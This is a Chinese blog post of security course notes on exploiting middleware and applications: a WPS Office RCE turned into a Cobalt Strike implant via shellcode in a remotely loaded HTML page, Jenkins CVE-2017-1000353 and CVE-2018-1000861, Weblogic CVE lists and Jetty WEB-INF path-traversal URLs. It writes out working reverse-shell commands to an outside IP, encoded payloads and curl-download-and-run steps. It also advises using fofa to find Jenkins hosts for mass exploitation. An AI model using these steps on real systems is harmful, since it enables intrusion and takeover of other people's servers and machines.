第80天:服务攻防-中间件安全&HW2023-WPS分析&Weblogic&Jetty&Jenkins&CVE
本文发布于469天前,本文最后更新于466 天前,其中的信息可能已经过时,如有错误请留言或评论。

知识点

  1. 应用WPS-HW2023-RCE&复现&上线CS
  2. 中间件-Weblogic-CVE&反序列化&RCE
  3. 中间件-Jenkins-CVE&RCE执行
  4. 中间件-Jetty-CVE&信息泄漏

后门三个中间件的漏洞复现都是使用的vulfocus

演示案例

➢应用WPS-HW2023-RCE&复现&上线CS

了解

  • WPS Office 代码执行(QVD-2023-17241)影响版本
    • WPS Office 2023个人版<11.1.0.15120
    • WPS Office 2019企业版<11.8.2.12085

复现&上线CS

  1. 简单复现网上POC
    分析1.html poc.docx
  2. 修改配合联动上线CS
    • 修改html中的shellcode(C#)
    • 修改docx中的指向连接URL
    • 修改hosts绑定执行域名规则
    • 漏洞触发需让域名规则满足clientweb.docer.wps.cn.{xxxxx}wps.cn
  3. 实战中:申请{xxxxx}wps.cn域名
    • 增加解析clientweb.docer.wps.cn.{xxxxx}wps.cn ip上面
    • IP架设1.html网站服务,修改1.html上线shellcode
  4. CobaltStrike使用教程详解(基础):https://blog.csdn.net/m0_73353130/article/details/131725759

测试过程

  1. 修改win10虚拟机中的hosts,添加
    127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn
  2. 在win10虚拟机中在WPS RCE复现目录下面使用python启动一个web服务,并监听端口
    python -m http.server 80

    使可以访问到127.0.0.1/1.html

  3. 然后安装好目录下面的wps,直接打开poc.docx,会发现弹出了计算机(实现了复现),但实战中不能只弹出计算器,下面来使其win10上线到cs
  4. 在kali(小迪用的是本机,我的Windows打不开,所以就用kalil了)中打开CobaltStrike,之后添加监听器
    添加一个监听器wps-rce监听7777端口,ip为本机
  5. 然后点击Payloads->Stager Payload Generator->选择刚才创建的监听器,Output选择C#->然后生成payload
  6. 将生成文件的那一串十六进制数据填写到1.html的const shellcode = new Uint8Array([这个里面]);
  7. 然后将新的1.html替换至win10虚拟机中
  8. 然后在win10虚拟机中重新打开poc.docx,额这里小迪说要重新安装(说不卸载的话会有缓存),但貌似不需要,只是有的那个cs会有延迟,所以需要等一下,我的就是,刚开始以为需要重新安装,后来发现不需要,一下子蹦出来好几个,机器上线成功
    注:后门并不是在poc.docx里面,而是在1.html中,其实是远程加载,因为打开这个poc.docx时会请求那个1.html

    • 为什么打开这个docx会请求那个1.html
      • 使用打开压缩包的软件打开这个docx,会发现里面
      • docx文档里面可以插入远程图片或访问外部网站,而一旦有了这些功能之后,就会在docx里面就会多出webExtensions
      • 打开webExtension1.xml,发现其中的url是之前设置的解析到本地的域名,并且访问的是1.html
  9. 将之前的1.html放置到kali的/var/www/html路径下,并且在该目录下使用python开启一个web服务,使其可以被访问到
    python -m http.server 80
    # 访问192.168.159.128/1.html,小迪这里是使用的8080,是为了区分,
    # 但这里设置成80的话就不用改那个docx里面的webExtension1.xml
  10. 然后重新修改win10虚拟机的hosts,使那个域名指向kali的ip
    192.168.159.128 clientweb.docer.wps.cn.cloudwps.cn
  11. 然后重新打开poc.docx即可
    这里刚开始有点毛病,没上线,但是访问了,然后我就试着按小迪的卸载了wps重新安装了一下,就可以了
    但是之前确实不用,也不知道是什么毛病

➢中间件-Weblogic-CVE&反序列化&RCE

了解

  • Weblogic是Oracle公司推出的J2EE应用服务器。
  • 探针默认端口:7001

利用

CVE

使用工具直接干就完事了,目前学怎么挖掘这些漏洞还做不到

  • CVE-2023-21839(JNDI)、CVE-2020-2551(JRMP)、CVE-2020-2551
  • CVE-2020-2555、CVE-2020-2883、CVE-2020-14882未授权访问
  • CVE-2018-2894、CVE-2018-2628(JRMP)、CVE-2018-2893(JRMP)
  • CVE-2018-3245(JRMP)、CVE_2018_3252(JRMP)、CVE_2018_3191
  • CVE-2016-3510、CVE-2016-0638、CVE-2017-10271、CVE-2017-3248(JRMP)、CVE-2015-4852

➢中间件-Jenkins-CVE&RCE执行

了解

  • Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作。
  • 探针默认端口:8080

利用

  • fofa搜索语法:
    app="Jenkins"
  • 标志是个老爷头

CVE

md我的vulfocus有问题,

  1. cve_2017_1000353 其他版本失效
    • 漏洞影响版本
      • 所有jenkins主版本均受到影响(包括<=2.56版本)
      • 所有的jenkins LTS均受到影响(包括<=2.46.1版本)
    • 利用项目地址:http://github.com/vulhub/CVE-2017-1000353
    • 利用:
      # 1.先生成反弹shell命令
      bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
      # 2.将base64编码过后的命令填入生成jenkins_poc.ser,这里java建议使用JDK-1.8.0_291,其他的好像有问题 
      java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzY2ODggMD4mMQ==}|{base64,-d}|{bash,-i}"
      # 3.使用python启动epxploit.py,加上网站和jenkins_poc.ser
      python exploit.py http://123.58.236.76:54217 jenkins_poc.ser
      # 4.攻击机即可获取到反弹的shell(要记得在攻击机执行nc -lvvp 5566)
  2. CVE-2018-1000861
    • 漏洞影响版本:Jenkins2.153及更早版本,LTS2.138.3及更早版本
    • 利用项目地址:https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
    • 利用:
      # 1.将反弹shell命令写入到服务器下shell.txt
      bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
      # 2.在服务器上启动一个web服务,使可以访问到shell.txt
      python3 -m http.server 8888
      # 3.先使目标远程下载shell.txt文件并保存
      python2 exp.py http://123.58.236.76:52281/ "curl -o /tmp/1.sh http://47.94.236.117:8888/shell.txt"
      # 4.再使目标执行下载的文件
      python2 exp.py http://123.58.236.76:52281/ "bash /tmp/1.sh"
    • 实战中可以将是这个服务的网站全部获取到(使用fofa),然后写个脚本批量跑下载shell.txt,不断替换url即可,谁下载谁有漏洞,就可以进行测试了
  3. cve_2019_100300 需要用户帐号密码

➢中间件-Jetty-CVE&信息泄漏

了解

  • Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境。

利用

  • fofa搜索语法:
    app="Jetty"

CVE

  1. jetty 敏感信息泄露 (CVE-2021-28169)
    • 了解:
      • 对于 <= 9.4.40、<= 10.0.2、<= 11.0.2 的 Eclipse Jetty 版本,对带有双重编码路径的 ConcatServlet 的请求可以访问 WEB-INF 目录中的受保护资源。例如,对 `/concat?/%2557EB-INF/web.xml` 的请求可以检索 web.xml 文件。这可能会泄露有关 Web 应用程序实施的敏感信息。
  2. jetty 敏感信息泄露 (CVE-2021-34429)
    • 了解:
      • 对于 Eclipse Jetty 版本 9.4.37-9.4.42、10.0.1-10.0.5 和 11.0.1-11.0.5,可以使用一些编码字符来制作 URI 以访问 WEB-INF 目录的内容和/或绕过一些安全限制。这是 CVE-2021-28164/GHSA-v7ff-8wcx-gmc5 中报告的漏洞的变体。访问 /%u002e/WEB-INF/web.xml可以绕过安全限制,读取到webxml内容.
  3. 路径就是下面这5个,都试一下就行了
    /%2e/WEB-INF/web.xml
    /.%00/WEB-INF/web.xml
    /%u002e/WEB-INF/web.xml
    /static?/WEB-INF/web.xml
    /a/b/..%00/WEB-INF/web.

参考

学习内容均来自小迪安全系列课程:http://xiaodi8.com/

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇